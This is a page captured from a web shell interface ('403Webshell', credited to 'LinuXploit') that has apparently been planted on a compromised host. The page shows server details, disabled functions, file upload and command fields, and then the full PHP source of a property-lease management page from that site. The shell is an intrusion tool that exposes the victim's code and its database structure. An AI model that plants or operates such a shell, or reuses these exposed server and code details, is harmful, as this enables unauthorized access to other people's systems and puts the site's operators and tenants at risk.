403Webshell
Server IP : 72.60.21.38  /  Your IP : 216.73.216.25
Web Server : LiteSpeed
System : Linux uk-fast-web1372.main-hosting.eu 4.18.0-553.121.1.lve.el8.x86_64 #1 SMP Thu Apr 30 16:40:41 UTC 2026 x86_64
User : u390967363 ( 390967363)
PHP Version : 8.2.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/u390967363/domains/aibenproperties.com/public_html/app/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/u390967363/domains/aibenproperties.com/public_html/app/rental-details.php
<?php
include 'includes/header.php';
require_once 'includes/db.php';
require_once 'includes/functions.php';

// Access Control
if (!in_array($_SESSION['user_role'], ['admin', 'super_admin', 'estate_manager', 'sales_agent', 'agent', 'client'])) {
    header("Location: dashboard.php");
    exit;
}

$lease_id = $_GET['id'] ?? null;
if (!$lease_id) {
    header("Location: rentals.php");
    exit;
}

// Fetch Lease Details
$stmt = $pdo->prepare("
    SELECT l.*, 
           p.title as property_title, 
           p.property_code, 
           p.address as property_address,
           t.name as tenant_name, 
           t.email as tenant_email,
           t.phone as tenant_phone,
           a.name as agent_name
    FROM leases l
    JOIN properties p ON l.property_id = p.id
    JOIN users t ON l.tenant_id = t.id
    LEFT JOIN users a ON l.agent_id = a.id
    WHERE l.id = ?
");
$stmt->execute([$lease_id]);
$lease = $stmt->fetch(PDO::FETCH_ASSOC);

if (!$lease) {
    echo "<div class='container mt-5'><div class='alert alert-danger'>Lease not found.</div></div>";
    include 'includes/footer.php';
    exit;
}

// Permission Check: Agent can only view their own leases, Client can only view their own
if ($_SESSION['user_role'] == 'agent' && $lease['agent_id'] != $_SESSION['user_id']) {
    echo "<div class='container mt-5'><div class='alert alert-danger'>Access Denied.</div></div>";
    include 'includes/footer.php';
    exit;
}
if ($_SESSION['user_role'] == 'client' && $lease['tenant_id'] != $_SESSION['user_id']) {
    echo "<div class='container mt-5'><div class='alert alert-danger'>Access Denied.</div></div>";
    include 'includes/footer.php';
    exit;
}

// Handle Lease Actions (Terminate, Renew - Admin/Manager Only)
if ($_SERVER['REQUEST_METHOD'] === 'POST' && in_array($_SESSION['user_role'], ['admin', 'super_admin', 'estate_manager'])) {
    if (isset($_POST['terminate_lease'])) {
        $reason = trim($_POST['reason'] ?? '');
        if ($reason === '') {
            $success_msg = null;
            $error_msg = "Reason is required to terminate a lease.";
        } else {
            $old = $lease['status'];
        $stmt = $pdo->prepare("UPDATE leases SET status = 'terminated', updated_at = NOW() WHERE id = ?");
        $stmt->execute([$lease_id]);
        
        // Update Property Status
        $stmt = $pdo->prepare("UPDATE properties SET status = 'available' WHERE id = ?");
        $stmt->execute([$lease['property_id']]);
        
            auditLogDetailed('lease', $lease_id, $old, 'terminated', $reason);
        $success_msg = "Lease terminated successfully.";
        $lease['status'] = 'terminated'; // Refresh local
        }
    }
    
    if (isset($_POST['renew_lease'])) {
        $new_end_date = $_POST['new_end_date'];
        $reason = trim($_POST['reason'] ?? '');
        if ($reason === '') {
            $success_msg = null;
            $error_msg = "Reason is required to renew a lease.";
        } else {
            $old = $lease['status'];
        $stmt = $pdo->prepare("UPDATE leases SET end_date = ?, status = 'active', updated_at = NOW() WHERE id = ?");
        $stmt->execute([$new_end_date, $lease_id]);
        
            auditLogDetailed('lease', $lease_id, $old, 'active', $reason);
        $success_msg = "Lease renewed successfully.";
        $lease['end_date'] = $new_end_date;
        $lease['status'] = 'active';
        }
    }
}

// Fetch Payments
$stmt = $pdo->prepare("SELECT * FROM payments WHERE lease_id = ? ORDER BY date DESC");
$stmt->execute([$lease_id]);
$payments = $stmt->fetchAll(PDO::FETCH_ASSOC);

// Fetch Documents
$stmt = $pdo->prepare("
    SELECT d.*, 
           (SELECT MAX(version_number) FROM document_versions WHERE document_id = d.id) as latest_version
    FROM documents d 
    WHERE d.property_id = ? OR (d.user_id = ? AND d.type IN ('contract', 'receipt'))
    ORDER BY d.created_at DESC
");
// Note: This fetches docs related to the property or the tenant. 
// A better link might be needed if we had a direct 'lease_id' in documents, 
// but currently we link via property or user.
$stmt->execute([$lease['property_id'], $lease['tenant_id']]);
$documents = $stmt->fetchAll(PDO::FETCH_ASSOC);

?>

<div class="container-fluid px-4">
    <div class="d-flex justify-content-between align-items-center mt-4 mb-4">
        <div>
            <h2 class="text-navy fw-bold">Lease Details</h2>
            <nav aria-label="breadcrumb">
                <ol class="breadcrumb">
                    <li class="breadcrumb-item"><a href="rentals.php" class="text-decoration-none">Rentals</a></li>
                    <li class="breadcrumb-item active" aria-current="page"><?= htmlspecialchars($lease['property_title']) ?></li>
                </ol>
            </nav>
        </div>
        <div class="d-flex gap-2">
            <?php if (in_array($_SESSION['user_role'], ['admin', 'super_admin', 'estate_manager', 'finance'])): ?>
                <a href="rent-payment.php?lease_id=<?= $lease_id ?>" class="btn btn-success">
                    <i class="fa-solid fa-money-bill-wave me-2"></i>Record Payment
                </a>
            <?php endif; ?>
            
            <?php if (in_array($_SESSION['user_role'], ['admin', 'super_admin', 'estate_manager'])): ?>
                <div class="dropdown">
                    <button class="btn btn-primary dropdown-toggle" type="button" data-bs-toggle="dropdown">
                        <i class="fa-solid fa-gear me-2"></i>Actions
                    </button>
                    <ul class="dropdown-menu">
                        <li><a class="dropdown-item" href="#" data-bs-toggle="modal" data-bs-target="#renewModal">Renew Lease</a></li>
                        <li><hr class="dropdown-divider"></li>
                        <li><a class="dropdown-item text-danger" href="#" data-bs-toggle="modal" data-bs-target="#terminateModal">Terminate Lease</a></li>
                    </ul>
                </div>
            <?php endif; ?>
        </div>
    </div>

    <?php if (isset($success_msg)): ?>
        <div class="alert alert-success alert-dismissible fade show"><?= $success_msg ?><button type="button" class="btn-close" data-bs-dismiss="alert"></button></div>
    <?php endif; ?>
    <?php if (isset($error_msg)): ?>
        <div class="alert alert-danger alert-dismissible fade show"><?= htmlspecialchars($error_msg) ?><button type="button" class="btn-close" data-bs-dismiss="alert"></button></div>
    <?php endif; ?>

    <div class="row">
        <!-- Main Info -->
        <div class="col-xl-8">
            <!-- Property & Lease Info -->
            <div class="card border-0 shadow-sm mb-4">
                <div class="card-header bg-white fw-bold text-navy py-3">
                    <i class="fa-solid fa-house-chimney me-2"></i>Property & Lease Information
                </div>
                <div class="card-body">
                    <div class="row mb-4">
                        <div class="col-md-6">
                            <h5 class="fw-bold"><?= htmlspecialchars($lease['property_title']) ?></h5>
                            <p class="text-muted mb-1"><?= htmlspecialchars($lease['property_address']) ?></p>
                            <span class="badge bg-light text-dark border"><?= htmlspecialchars($lease['property_code']) ?></span>
                        </div>
                        <div class="col-md-6 text-md-end">
                            <div class="mb-1">Status: <span class="badge <?= getStatusBadgeClass($lease['status']) ?> fs-6"><?= ucfirst($lease['status']) ?></span></div>
                            <div class="text-muted small">Created: <?= formatDate($lease['created_at']) ?></div>
                        </div>
                    </div>
                    
                    <div class="row g-3">
                        <div class="col-md-3">
                            <div class="p-3 bg-light rounded">
                                <small class="text-muted d-block text-uppercase">Rent Amount</small>
                                <span class="fw-bold fs-5"><?= formatCurrency($lease['rent_amount']) ?></span>
                                <small class="text-muted d-block">per <?= $lease['payment_frequency'] ?></small>
                            </div>
                        </div>
                        <div class="col-md-3">
                            <div class="p-3 bg-light rounded">
                                <small class="text-muted d-block text-uppercase">Start Date</small>
                                <span class="fw-bold fs-5"><?= date('M d, Y', strtotime($lease['start_date'])) ?></span>
                            </div>
                        </div>
                        <div class="col-md-3">
                            <div class="p-3 bg-light rounded">
                                <small class="text-muted d-block text-uppercase">End Date</small>
                                <span class="fw-bold fs-5"><?= date('M d, Y', strtotime($lease['end_date'])) ?></span>
                            </div>
                        </div>
                        <div class="col-md-3">
                            <div class="p-3 bg-light rounded">
                                <small class="text-muted d-block text-uppercase">Deposit</small>
                                <span class="fw-bold fs-5"><?= formatCurrency($lease['deposit_amount']) ?></span>
                            </div>
                        </div>
                    </div>
                </div>
            </div>

            <!-- Payment History -->
            <div class="card border-0 shadow-sm mb-4">
                <div class="card-header bg-white fw-bold text-navy py-3 d-flex justify-content-between align-items-center">
                    <span><i class="fa-solid fa-history me-2"></i>Payment History</span>
                    <span class="badge bg-secondary rounded-pill"><?= count($payments) ?></span>
                </div>
                <div class="table-responsive">
                    <table class="table table-hover align-middle mb-0">
                        <thead class="table-light">
                            <tr>
                                <th>Date</th>
                                <th>Ref</th>
                                <th>Method</th>
                                <th>Amount</th>
                                <th>Status</th>
                                <th>Actions</th>
                            </tr>
                        </thead>
                        <tbody>
                            <?php if (count($payments) > 0): ?>
                                <?php foreach ($payments as $p): ?>
                                <tr>
                                    <td><?= date('M d, Y', strtotime($p['date'])) ?></td>
                                    <td><small class="text-muted"><?= htmlspecialchars($p['reference']) ?></small></td>
                                    <td><?= ucfirst($p['method']) ?></td>
                                    <td class="fw-bold"><?= formatCurrency($p['amount']) ?></td>
                                    <td>
                                        <?php
                                            $badgeClass = match($p['status']) {
                                                'approved' => 'bg-success',
                                                'verified' => 'bg-info',
                                                'pending_confirmation' => 'bg-warning text-dark',
                                                'failed' => 'bg-danger',
                                                default => 'bg-secondary'
                                            };
                                        ?>
                                        <span class="badge <?= $badgeClass ?>"><?= ucfirst(str_replace('_', ' ', $p['status'])) ?></span>
                                    </td>
                                    <td>
                                        <a href="#" class="btn btn-sm btn-light" title="View Receipt"><i class="fa-solid fa-file-invoice"></i></a>
                                    </td>
                                </tr>
                                <?php endforeach; ?>
                            <?php else: ?>
                                <tr><td colspan="6" class="text-center py-4 text-muted">No payments recorded yet.</td></tr>
                            <?php endif; ?>
                        </tbody>
                    </table>
                </div>
            </div>

            <!-- Documents -->
            <div class="card border-0 shadow-sm mb-4">
                <div class="card-header bg-white fw-bold text-navy py-3 d-flex justify-content-between align-items-center">
                    <span><i class="fa-solid fa-folder-open me-2"></i>Documents</span>
                    <a href="documents.php" class="btn btn-sm btn-outline-primary">Manage Docs</a>
                </div>
                <div class="card-body">
                    <?php if (count($documents) > 0): ?>
                        <div class="list-group list-group-flush">
                            <?php foreach ($documents as $doc): ?>
                                <div class="list-group-item d-flex justify-content-between align-items-center px-0">
                                    <div class="d-flex align-items-center">
                                        <div class="me-3 text-danger fs-4"><i class="fa-solid fa-file-pdf"></i></div>
                                        <div>
                                            <h6 class="mb-0 fw-bold"><?= htmlspecialchars($doc['title']) ?></h6>
                                            <small class="text-muted">v<?= $doc['latest_version'] ?? '1.0' ?> • <?= formatDate($doc['created_at']) ?></small>
                                        </div>
                                    </div>
                                    <div>
                                        <span class="badge <?= getStatusBadgeClass($doc['status']) ?> me-2"><?= ucfirst($doc['status']) ?></span>
                                        <a href="<?= htmlspecialchars($doc['file_path']) ?>" target="_blank" class="btn btn-sm btn-light"><i class="fa-solid fa-download"></i></a>
                                    </div>
                                </div>
                            <?php endforeach; ?>
                        </div>
                    <?php else: ?>
                        <p class="text-muted text-center py-3 mb-0">No documents found for this lease.</p>
                    <?php endif; ?>
                </div>
            </div>
        </div>

        <!-- Sidebar -->
        <div class="col-xl-4">
            <!-- Tenant Card -->
            <div class="card border-0 shadow-sm mb-4">
                <div class="card-header bg-white fw-bold text-navy py-3">
                    <i class="fa-solid fa-user me-2"></i>Tenant Information
                </div>
                <div class="card-body text-center py-4">
                    <div class="avatar-circle bg-navy text-white mx-auto mb-3 fs-2 d-flex align-items-center justify-content-center" style="width: 80px; height: 80px; border-radius: 50%;">
                        <?= strtoupper(substr($lease['tenant_name'], 0, 1)) ?>
                    </div>
                    <h5 class="fw-bold mb-1"><?= htmlspecialchars($lease['tenant_name']) ?></h5>
                    <p class="text-muted mb-3"><?= htmlspecialchars($lease['tenant_email']) ?></p>
                    
                    <div class="d-grid gap-2">
                        <a href="mailto:<?= htmlspecialchars($lease['tenant_email']) ?>" class="btn btn-outline-secondary btn-sm"><i class="fa-solid fa-envelope me-2"></i>Send Email</a>
                        <?php if(!empty($lease['tenant_phone'])): ?>
                            <a href="tel:<?= htmlspecialchars($lease['tenant_phone']) ?>" class="btn btn-outline-secondary btn-sm"><i class="fa-solid fa-phone me-2"></i>Call Tenant</a>
                        <?php endif; ?>
                    </div>
                </div>
                <div class="card-footer bg-light">
                    <small class="text-muted">Agent:</small>
                    <span class="fw-bold text-navy float-end"><?= htmlspecialchars($lease['agent_name'] ?? 'Unassigned') ?></span>
                </div>
            </div>

            <!-- Reminder / Notes (Placeholder) -->
            <div class="card border-0 shadow-sm">
                <div class="card-header bg-white fw-bold text-navy py-3">
                    <i class="fa-solid fa-note-sticky me-2"></i>Quick Notes
                </div>
                <div class="card-body">
                    <textarea class="form-control mb-2" rows="4" placeholder="Add a private note about this lease..."></textarea>
                    <button class="btn btn-sm btn-primary float-end">Save Note</button>
                </div>
            </div>
        </div>
    </div>
</div>

<!-- Renew Modal -->
<div class="modal fade" id="renewModal" tabindex="-1">
    <div class="modal-dialog">
        <div class="modal-content">
            <div class="modal-header">
                <h5 class="modal-title">Renew Lease</h5>
                <button type="button" class="btn-close" data-bs-dismiss="modal"></button>
            </div>
            <form method="POST">
                <div class="modal-body">
                    <input type="hidden" name="renew_lease" value="1">
                    <div class="mb-3">
                        <label class="form-label">New End Date</label>
                        <input type="date" name="new_end_date" class="form-control" required min="<?= date('Y-m-d') ?>">
                    </div>
                    <div class="mb-3">
                        <label class="form-label">Reason</label>
                        <textarea name="reason" class="form-control" rows="3" required placeholder="Reason for renewal"></textarea>
                    </div>
                    <div class="alert alert-info small">
                        This will extend the lease and set status to Active.
                    </div>
                </div>
                <div class="modal-footer">
                    <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Cancel</button>
                    <button type="submit" class="btn btn-primary">Renew Lease</button>
                </div>
            </form>
        </div>
    </div>
</div>

<!-- Terminate Modal -->
<div class="modal fade" id="terminateModal" tabindex="-1">
    <div class="modal-dialog">
        <div class="modal-content">
            <div class="modal-header">
                <h5 class="modal-title text-danger">Terminate Lease</h5>
                <button type="button" class="btn-close" data-bs-dismiss="modal"></button>
            </div>
            <form method="POST">
                <div class="modal-body">
                    <input type="hidden" name="terminate_lease" value="1">
                    <p>Are you sure you want to terminate this lease? This action cannot be undone.</p>
                    <div class="mb-3">
                        <label class="form-label">Reason</label>
                        <textarea name="reason" class="form-control" rows="3" required placeholder="Reason for termination"></textarea>
                    </div>
                    <div class="alert alert-warning small">
                        The property status will be set to 'Available'.
                    </div>
                </div>
                <div class="modal-footer">
                    <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Cancel</button>
                    <button type="submit" class="btn btn-danger">Terminate</button>
                </div>
            </form>
        </div>
    </div>
</div>

<?php include 'includes/footer.php'; ?>

Youez - 2016 - github.com/yon3zu
LinuXploit